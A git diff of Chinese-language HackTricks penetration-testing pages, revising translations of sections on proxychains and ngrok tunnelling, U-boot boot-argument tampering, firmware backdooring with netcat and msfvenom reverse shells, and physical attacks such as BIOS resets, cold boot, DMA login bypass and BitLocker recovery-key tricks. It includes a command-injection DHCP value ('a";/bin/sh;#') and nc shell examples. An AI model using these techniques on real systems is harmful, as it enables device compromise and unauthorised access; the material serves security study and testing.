|
||||
#### 更改 proxychains DNS
|
||||
|
||||
Proxychains 拦截 `gethostbyname` libc 调用,并通过 socks 代理隧道传输 tcp DNS 请求。默认情况下,proxychains 使用的 DNS 服务器是 4.2.2.2(硬编码)。要更改它,请编辑文件:_/usr/lib/proxychains3/proxyresolv_ 并更改 IP。如果您在 Windows 环境中,可以设置域控制器的 IP。
|
||||
Proxychains 拦截 `gethostbyname` libc 调用,并通过 socks 代理隧道 tcp DNS 请求。默认情况下,proxychains 使用的 DNS 服务器是 **4.2.2.2**(硬编码)。要更改它,请编辑文件: _/usr/lib/proxychains3/proxyresolv_ 并更改 IP。如果您在 **Windows 环境** 中,可以设置 **域控制器** 的 IP。
|
||||
|
||||
## Go 中的隧道
|
||||
|
||||
|
@ -430,7 +437,7 @@ Proxychains 拦截 `gethostbyname` libc 调用,并通过 socks 代理隧道传
|
|||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
在两个系统中都需要 root 权限来创建 tun 适配器,并使用 ICMP 回显请求在它们之间传输数据。
|
||||
在两个系统中都需要 root 权限,以创建 tun 适配器并使用 ICMP 回显请求在它们之间隧道数据。
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
|
@ -454,13 +461,13 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
|||
```
|
||||
## ngrok
|
||||
|
||||
**[ngrok](https://ngrok.com/)是一个工具,可以通过一条命令将解决方案暴露到互联网上。**
|
||||
*暴露的URI类似于:* **UID.ngrok.io**
|
||||
**[ngrok](https://ngrok.com/) 是一个通过一条命令行将解决方案暴露到互联网的工具。**
|
||||
*暴露的 URI 类似于:* **UID.ngrok.io**
|
||||
|
||||
### 安装
|
||||
|
||||
- 创建一个账户:https://ngrok.com/signup
|
||||
- 客户端下载:
|
||||
- 创建一个账户: https://ngrok.com/signup
|
||||
- 客户端下载:
|
||||
```bash
|
||||
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
|
||||
chmod a+x ./ngrok
|
||||
|
@ -471,9 +478,9 @@ chmod a+x ./ngrok
|
|||
|
||||
**文档:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||||
|
||||
*如果需要,还可以添加身份验证和TLS。*
|
||||
*如果需要,也可以添加身份验证和TLS。*
|
||||
|
||||
#### TCP隧道
|
||||
#### 隧道 TCP
|
||||
```bash
|
||||
# Pointing to 0.0.0.0:4444
|
||||
./ngrok tcp 4444
|
||||
|
@ -481,28 +488,28 @@ chmod a+x ./ngrok
|
|||
# Listen (example): nc -nvlp 4444
|
||||
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
|
||||
```
|
||||
#### 通过HTTP公开文件
|
||||
#### 通过HTTP暴露文件
|
||||
```bash
|
||||
./ngrok http file:///tmp/httpbin/
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
```
|
||||
#### 拦截HTTP调用
|
||||
#### 嗅探 HTTP 调用
|
||||
|
||||
*用于XSS、SSRF、SSTI ...*
|
||||
直接从stdout或在HTTP接口[http://127.0.0.1:4040](http://127.0.0.1:4000)中。
|
||||
*对 XSS, SSRF, SSTI 等有用*
|
||||
直接从 stdout 或在 HTTP 接口 [http://127.0.0.1:4040](http://127.0.0.1:4000)。
|
||||
|
||||
#### 隧道化内部HTTP服务
|
||||
#### 隧道内部 HTTP 服务
|
||||
```bash
|
||||
./ngrok http localhost:8080 --host-header=rewrite
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
# With basic auth
|
||||
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
|
||||
```
|
||||
#### ngrok.yaml简单配置示例
|
||||
#### ngrok.yaml 简单配置示例
|
||||
|
||||
它打开了3个隧道:
|
||||
- 2个TCP
|
||||
- 1个HTTP,从/tmp/httpbin/暴露静态文件
|
||||
它打开 3 个隧道:
|
||||
- 2 个 TCP
|
||||
- 1 个 HTTP,静态文件从 /tmp/httpbin/ 暴露
|
||||
```yaml
|
||||
tunnels:
|
||||
mytcp:
|
||||
|
@ -520,7 +527,7 @@ addr: file:///tmp/httpbin/
|
|||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
**尝试困难安全组**
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -528,14 +535,17 @@ addr: file:///tmp/httpbin/
|
|||
|
||||
***
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在**HackTricks中宣传您的公司**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) 或**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
推荐以下步骤来修改设备启动配置和引导加载程序(如U-boot):
|
||||
以下步骤建议用于修改设备启动配置和引导加载程序,如 U-boot:
|
||||
|
||||
1. **访问引导加载程序的解释器Shell**:
|
||||
- 在启动过程中,按下"0"、空格或其他已识别的"魔术代码"以访问引导加载程序的解释器Shell。
|
||||
1. **访问引导加载程序的解释器 Shell**:
|
||||
- 在启动期间,按 "0"、空格或其他识别的 "魔法代码" 以访问引导加载程序的解释器 Shell。
|
||||
|
||||
2. **修改引导参数**:
|
||||
- 执行以下命令将 '`init=/bin/sh`' 追加到引导参数中,允许执行shell命令:
|
||||
2. **修改引导参数**:
|
||||
- 执行以下命令将 '`init=/bin/sh`' 附加到引导参数,允许执行 Shell 命令:
|
||||
%%%
|
||||
#printenv
|
||||
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
||||
|
@ -26,31 +28,47 @@
|
|||
#boot
|
||||
%%%
|
||||
|
||||
3. **设置TFTP服务器**:
|
||||
- 配置TFTP服务器以通过本地网络加载镜像:
|
||||
3. **设置 TFTP 服务器**:
|
||||
- 配置 TFTP 服务器以通过本地网络加载映像:
|
||||
%%%
|
||||
#setenv ipaddr 192.168.2.2 #设备的本地IP
|
||||
#setenv serverip 192.168.2.1 #TFTP服务器IP
|
||||
#setenv ipaddr 192.168.2.2 #设备的本地 IP
|
||||
#setenv serverip 192.168.2.1 #TFTP 服务器 IP
|
||||
#saveenv
|
||||
#reset
|
||||
#ping 192.168.2.1 #检查网络访问
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr接受要加载文件的地址和TFTP服务器上镜像的文件名
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr 是加载文件的地址和 TFTP 服务器上映像的文件名
|
||||
%%%
|
||||
|
||||
4. **使用 `ubootwrite.py`**:
|
||||
- 使用 `ubootwrite.py` 写入U-boot镜像并推送修改后的固件以获取root访问权限。
|
||||
4. **使用 `ubootwrite.py`**:
|
||||
- 使用 `ubootwrite.py` 写入 U-boot 映像并推送修改后的固件以获得 root 访问权限。
|
||||
|
||||
5. **检查调试功能**:
|
||||
- 验证是否启用了调试功能,如详细日志记录、加载任意内核或从不受信任的来源引导。
|
||||
5. **检查调试功能**:
|
||||
- 验证是否启用了调试功能,如详细日志记录、加载任意内核或从不受信任的来源启动。
|
||||
|
||||
6. **谨慎处理硬件干扰**:
|
||||
- 当连接一个引脚到地线并与SPI或NAND闪存芯片交互时,特别是在内核解压缩之前的设备启动序列中,应谨慎处理。在短接引脚之前,请参考NAND闪存芯片的数据表。
|
||||
6. **谨慎的硬件干扰**:
|
||||
- 在设备启动序列期间,特别是在内核解压缩之前,连接一个引脚到地并与 SPI 或 NAND 闪存芯片交互时要小心。在短接引脚之前,请查阅 NAND 闪存芯片的数据手册。
|
||||
|
||||
7. **配置恶意DHCP服务器**:
|
||||
- 设置一个恶意DHCP服务器,为设备在PXE启动期间摄取恶意参数。利用诸如Metasploit的(MSF)DHCP辅助服务器之类的工具。修改'FILENAME'参数,使用命令注入命令,如 `'a";/bin/sh;#'`,以测试设备启动过程的输入验证。
|
||||
7. **配置恶意 DHCP 服务器**:
|
||||
- 设置一个恶意 DHCP 服务器,使用恶意参数供设备在 PXE 启动时获取。利用 Metasploit 的 (MSF) DHCP 辅助服务器等工具。修改 'FILENAME' 参数,使用命令注入命令,如 `'a";/bin/sh;#'` 来测试设备启动程序的输入验证。
|
||||
|
||||
**注意**: 与设备引脚进行物理交互的步骤(*用星号标记)应谨慎对待,以避免损坏设备。
|
||||
**注意**:涉及与设备引脚物理交互的步骤(*用星号标记)应极其谨慎,以避免损坏设备。
|
||||
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,58 +1,23 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 固件完整性
|
||||
|
||||
**自定义固件和/或编译的二进制文件可以上传以利用完整性或签名验证漏洞**。可以按照以下步骤进行后门绑定shell编译:
|
||||
**自定义固件和/或编译的二进制文件可以被上传以利用完整性或签名验证漏洞**。可以按照以下步骤进行后门绑定shell编译:
|
||||
|
||||
1. 使用固件修改工具包(FMK)提取固件。
|
||||
2. 应该识别目标固件架构和字节顺序。
|
||||
1. 可以使用firmware-mod-kit (FMK)提取固件。
|
||||
2. 应识别目标固件的架构和字节序。
|
||||
3. 可以使用Buildroot或其他适合环境的方法构建交叉编译器。
|
||||
4. 使用交叉编译器构建后门。
|
||||
5. 将后门复制到提取的固件的/usr/bin目录。
|
||||
6. 将适当的QEMU二进制文件复制到提取的固件rootfs。
|
||||
7. 使用chroot和QEMU模拟后门。
|
||||
4. 可以使用交叉编译器构建后门。
|
||||
5. 可以将后门复制到提取的固件/usr/bin目录。
|
||||
6. 可以将适当的QEMU二进制文件复制到提取的固件rootfs。
|
||||
7. 可以使用chroot和QEMU模拟后门。
|
||||
8. 可以通过netcat访问后门。
|
||||
9. 应该从提取的固件rootfs中删除QEMU二进制文件。
|
||||
10. 使用FMK重新打包修改后的固件。
|
||||
11. 可以通过使用固件分析工具包(FAT)模拟它并使用netcat连接到目标后门IP和端口来测试带后门的固件。
|
||||
9. 应从提取的固件rootfs中删除QEMU二进制文件。
|
||||
10. 可以使用FMK重新打包修改后的固件。
|
||||
11. 可以通过使用固件分析工具包(FAT)模拟后门固件,并使用netcat连接到目标后门IP和端口来测试后门固件。
|
||||
|
||||
如果已经通过动态分析、引导加载程序操纵或硬件安全测试获得了root shell,则可以执行预编译的恶意二进制文件,如植入物或反向shell。可以使用Metasploit框架和'msfvenom'等自动化负载/植入工具,按照以下步骤利用:
|
||||
如果已经通过动态分析、引导加载程序操作或硬件安全测试获得了root shell,可以执行预编译的恶意二进制文件,如植入物或反向shell。可以使用以下步骤利用自动化有效载荷/植入工具,如Metasploit框架和'msfvenom':
|
||||
|
||||
1. 应该识别目标固件架构和字节顺序。
|
||||
2. 可以使用Msfvenom指定目标负载、攻击者主机IP、监听端口号、文件类型、架构、平台和输出文件。
|
||||
3. 可以将负载传输到受损设备,并确保它具有执行权限。
|
||||
4. 可以准备Metasploit来处理传入请求,通过启动msfconsole并根据负载配置设置。
|
||||
5. 可以在受损设备上执行meterpreter反向shell。
|
||||
6. 可以监视打开的meterpreter会话。
|
||||
7. 可以执行后渗透活动。
|
||||
|
||||
如果可能的话,可以利用启动脚本中的漏洞来获得对设备在重新启动时的持久访问权限。这些漏洞出现在启动脚本引用、[符号链接](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data),或依赖于位于不受信任挂载位置(如用于存储根文件系统之外数据的SD卡和闪存卷)中的代码时。
|
||||
|
||||
## 参考资料
|
||||
* 欲了解更多信息,请查看[https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
1. 应识别目标固件的架构和字节序。
|
||||
2. 可以使用Msfvenom指定目标有效载荷、攻击者主机IP、监听端口号、文件类型、架构、平台和输出文件。
|
||||
3. 可以将有效载荷传输到被攻陷的设备,并确保其具有执行权限。
|
||||
4. 可以通过启动msfconsole并根据有效载荷配置设置来准备Metasploit处理传入请求。
|
||||
5. 可以在被攻陷的设备上执行meterpreter反向shell。
|
||||
|
|
|
@ -1,81 +1,69 @@
|
|||
# Physical Attacks
|
||||
# 物理攻击
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## BIOS密码恢复和系统安全
|
||||
## BIOS 密码恢复和系统安全
|
||||
|
||||
**重置BIOS**可以通过多种方式实现。大多数主板包括一个**电池**,将其拔出约**30分钟**后,将重置BIOS设置,包括密码。另外,可以通过调整主板上的**跳线**连接特定引脚来重置这些设置。
|
||||
**重置 BIOS** 可以通过几种方式实现。大多数主板都包含一个 **电池**,当移除约 **30 分钟** 后,将重置 BIOS 设置,包括密码。或者,可以通过调整 **主板上的跳线** 来重置这些设置,方法是连接特定的引脚。
|
||||
|
||||
在无法或不实际进行硬件调整的情况下,**软件工具**提供了解决方案。使用像**Kali Linux**这样的发行版从**Live CD/USB**运行系统可访问工具如_**killCmos**_和_**CmosPWD**_,可帮助恢复BIOS密码。
|
||||
对于无法或不实用进行硬件调整的情况,**软件工具** 提供了解决方案。使用 **Kali Linux** 等发行版从 **Live CD/USB** 启动系统,可以访问像 **_killCmos_** 和 **_CmosPWD_** 这样的工具,帮助进行 BIOS 密码恢复。
|
||||
|
||||
在BIOS密码不知道的情况下,连续**三次**输入错误密码通常会导致错误代码。此代码可用于类似[https://bios-pw.org](https://bios-pw.org)的网站,以潜在地检索可用密码。
|
||||
在 BIOS 密码未知的情况下,错误输入 **三次** 通常会导致错误代码。可以在像 [https://bios-pw.org](https://bios-pw.org) 这样的网站上使用此代码来检索可用的密码。
|
||||
|
||||
### UEFI安全
|
||||
### UEFI 安全
|
||||
|
||||
对于使用**UEFI**而不是传统BIOS的现代系统,可以利用工具**chipsec**来分析和修改UEFI设置,包括禁用**安全启动**。可以使用以下命令完成此操作:
|
||||
对于使用 **UEFI** 而非传统 BIOS 的现代系统,可以利用工具 **chipsec** 来分析和修改 UEFI 设置,包括禁用 **安全启动**。可以使用以下命令完成此操作:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
|
||||
### RAM分析和冷启动攻击
|
||||
### RAM 分析和冷启动攻击
|
||||
|
||||
RAM在断电后会短暂保留数据,通常为**1到2分钟**。通过应用液氮等冷却物质,可以将此持续时间延长至**10分钟**。在此延长期间,可以使用像**dd.exe**和**volatility**这样的工具创建**内存转储**进行分析。
|
||||
在断电后,RAM 会短暂保留数据,通常为 **1 到 2 分钟**。通过施加冷物质(如液氮),这种持久性可以延长至 **10 分钟**。在此延长期间,可以使用像 **dd.exe** 和 **volatility** 这样的工具创建 **内存转储** 进行分析。
|
||||
|
||||
### 直接内存访问(DMA)攻击
|
||||
### 直接内存访问 (DMA) 攻击
|
||||
|
||||
**INCEPTION**是一种通过DMA进行**物理内存操作**的工具,兼容接口如**FireWire**和**Thunderbolt**。它允许通过修补内存以接受任何密码来绕过登录程序。但是,对**Windows 10**系统无效。
|
||||
**INCEPTION** 是一个旨在通过 DMA 进行 **物理内存操作** 的工具,兼容 **FireWire** 和 **Thunderbolt** 等接口。它允许通过修补内存以接受任何密码来绕过登录程序。然而,它对 **Windows 10** 系统无效。
|
||||
|
||||
### Live CD/USB用于系统访问
|
||||
### 使用 Live CD/USB 访问系统
|
||||
|
||||
更改系统二进制文件如_**sethc.exe**_或_**Utilman.exe**_为_**cmd.exe**_的副本可以提供具有系统特权的命令提示符。可以使用像**chntpw**这样的工具来编辑Windows安装的**SAM**文件,从而允许更改密码。
|
||||
通过用 **_cmd.exe_** 替换系统二进制文件如 **_sethc.exe_** 或 **_Utilman.exe_**,可以提供具有系统权限的命令提示符。可以使用 **chntpw** 工具编辑 Windows 安装的 **SAM** 文件,从而允许更改密码。
|
||||
|
||||
**Kon-Boot**是一种工具,通过临时修改Windows内核或UEFI,可帮助登录Windows系统而无需知道密码。更多信息可在[https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)找到。
|
||||
**Kon-Boot** 是一个工具,可以在不知道密码的情况下登录 Windows 系统,通过临时修改 Windows 内核或 UEFI。更多信息可以在 [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) 找到。
|
||||
|
||||
### 处理Windows安全功能
|
||||
### 处理 Windows 安全功能
|
||||
|
||||
#### 启动和恢复快捷方式
|
||||
#### 启动和恢复快捷键
|
||||
|
||||
* **Supr**:访问BIOS设置。
|
||||
* **F8**:进入恢复模式。
|
||||
* 在Windows横幅后按**Shift**可以绕过自动登录。
|
||||
- **Supr**:访问 BIOS 设置。
|
||||
- **F8**:进入恢复模式。
|
||||
- 在 Windows 横幅后按 **Shift** 可以绕过自动登录。
|
||||
|
||||
#### BAD USB设备
|
||||
#### BAD USB 设备
|
||||
|
||||
像**Rubber Ducky**和**Teensyduino**这样的设备可用作创建**恶意USB**设备的平台,能够在连接到目标计算机时执行预定义的载荷。
|
||||
像 **Rubber Ducky** 和 **Teensyduino** 这样的设备作为创建 **坏 USB** 设备的平台,能够在连接到目标计算机时执行预定义的有效载荷。
|
||||
|
||||
#### 卷影复制
|
||||
|
||||
管理员权限允许通过PowerShell创建敏感文件的副本,包括**SAM**文件。
|
||||
管理员权限允许通过 PowerShell 创建敏感文件的副本,包括 **SAM** 文件。
|
||||
|
||||
### 绕过BitLocker加密
|
||||
### 绕过 BitLocker 加密
|
||||
|
||||
如果在内存转储文件(**MEMORY.DMP**)中找到**恢复密码**,则可能可以绕过BitLocker加密。可以利用工具如**Elcomsoft Forensic Disk Decryptor**或**Passware Kit Forensic**来实现此目的。
|
||||
如果在内存转储文件 (**MEMORY.DMP**) 中找到 **恢复密码**,则可能绕过 BitLocker 加密。可以使用 **Elcomsoft Forensic Disk Decryptor** 或 **Passware Kit Forensic** 等工具实现此目的。
|
||||
|
||||
### 社会工程学用于添加恢复密钥
|
||||
### 社会工程学用于恢复密钥添加
|
||||
|
||||
可以通过社会工程学策略添加新的BitLocker恢复密钥,说服用户执行一个添加由零组成的新恢复密钥的命令,从而简化解密过程。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
